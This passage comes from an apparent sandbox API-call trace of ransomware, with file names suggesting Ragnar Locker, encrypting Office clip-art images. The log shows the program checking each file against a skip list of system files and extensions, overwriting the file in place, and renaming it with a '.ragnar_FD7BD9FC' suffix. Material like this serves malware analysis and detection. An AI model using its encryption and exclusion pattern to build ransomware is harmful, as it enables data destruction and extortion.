returned 1 [0084.548] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45cb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x45cb, lpOverlapped=0x0) returned 1 [0084.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.549] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.549] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45cb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x45cb, lpOverlapped=0x0) returned 1 [0084.549] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.549] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.549] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.549] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.549] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.549] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.550] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.550] GetProcessHeap () returned 0x580000 [0084.550] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.550] CloseHandle (hObject=0xf4) returned 1 [0084.550] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" [0084.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.ragnar_FD7BD9FC" [0084.550] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.551] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0084.551] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.551] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145669.JPG" | out: lpString1="J0145669.JPG") returned="J0145669.JPG" [0084.551] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned=".JPG" [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="autorun.inf") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="boot.ini") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="bootfont.bin") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="bootsect.bak") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="bootmgr") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="bootmgr.efi") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="bootmgfw.efi") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="desktop.ini") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="iconcache.db") returned 1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="ntldr") returned -1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="ntuser.dat") returned -1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="ntuser.dat.log") returned -1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="ntuser.ini") returned -1 [0084.551] lstrcmpiW (lpString1="J0145669.JPG", lpString2="thumbs.db") returned -1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.551] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 0x20 [0084.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.552] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31850) returned 1 [0084.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.552] GetProcessHeap () returned 0x580000 [0084.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.552] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.553] VirtualAlloc (lpAddress=0x0, dwSize=0x7c6a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.553] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c6a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c6a, lpOverlapped=0x0) returned 1 [0084.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.555] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c6a, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.555] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c6a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c6a, lpOverlapped=0x0) returned 1 [0084.555] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c6a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.555] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.556] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.556] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.556] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.556] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.556] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.556] GetProcessHeap () returned 0x580000 [0084.556] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.556] CloseHandle (hObject=0xf4) returned 1 [0084.556] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" [0084.556] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.ragnar_FD7BD9FC" [0084.556] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.557] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0084.557] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.557] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145707.JPG" | out: lpString1="J0145707.JPG") returned="J0145707.JPG" [0084.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned=".JPG" [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="autorun.inf") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="boot.ini") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="bootfont.bin") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="bootsect.bak") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="bootmgr") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="bootmgr.efi") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="bootmgfw.efi") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="desktop.ini") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="iconcache.db") returned 1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="ntldr") returned -1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="ntuser.dat") returned -1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="ntuser.dat.log") returned -1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="ntuser.ini") returned -1 [0084.557] lstrcmpiW (lpString1="J0145707.JPG", lpString2="thumbs.db") returned -1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.557] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 0x20 [0084.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.558] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36820) returned 1 [0084.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8fcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.558] GetProcessHeap () returned 0x580000 [0084.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.558] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8fd4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.560] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.560] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8fd4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8fd4, lpOverlapped=0x0) returned 1 [0084.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.562] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8fd4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.562] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8fd4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8fd4, lpOverlapped=0x0) returned 1 [0084.562] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8fd4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.562] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.562] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.562] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.563] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.563] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.563] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.563] GetProcessHeap () returned 0x580000 [0084.563] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.563] CloseHandle (hObject=0xf4) returned 1 [0084.566] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" [0084.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.ragnar_FD7BD9FC" [0084.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.566] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0084.566] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.566] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145810.JPG" | out: lpString1="J0145810.JPG") returned="J0145810.JPG" [0084.566] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned=".JPG" [0084.566] lstrcmpiW (lpString1="J0145810.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.566] lstrcmpiW (lpString1="J0145810.JPG", lpString2="autorun.inf") returned 1 [0084.566] lstrcmpiW (lpString1="J0145810.JPG", lpString2="boot.ini") returned 1 [0084.566] lstrcmpiW (lpString1="J0145810.JPG", lpString2="bootfont.bin") returned 1 [0084.566] lstrcmpiW (lpString1="J0145810.JPG", lpString2="bootsect.bak") returned 1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="bootmgr") returned 1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="bootmgr.efi") returned 1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="bootmgfw.efi") returned 1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="desktop.ini") returned 1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="iconcache.db") returned 1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="ntldr") returned -1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="ntuser.dat") returned -1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="ntuser.dat.log") returned -1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="ntuser.ini") returned -1 [0084.567] lstrcmpiW (lpString1="J0145810.JPG", lpString2="thumbs.db") returned -1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.567] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 0x20 [0084.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36792) returned 1 [0084.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8faf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.568] GetProcessHeap () returned 0x580000 [0084.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.570] VirtualAlloc (lpAddress=0x0, dwSize=0x8fb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.570] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8fb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8fb8, lpOverlapped=0x0) returned 1 [0084.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8fb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.572] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8fb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8fb8, lpOverlapped=0x0) returned 1 [0084.572] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, 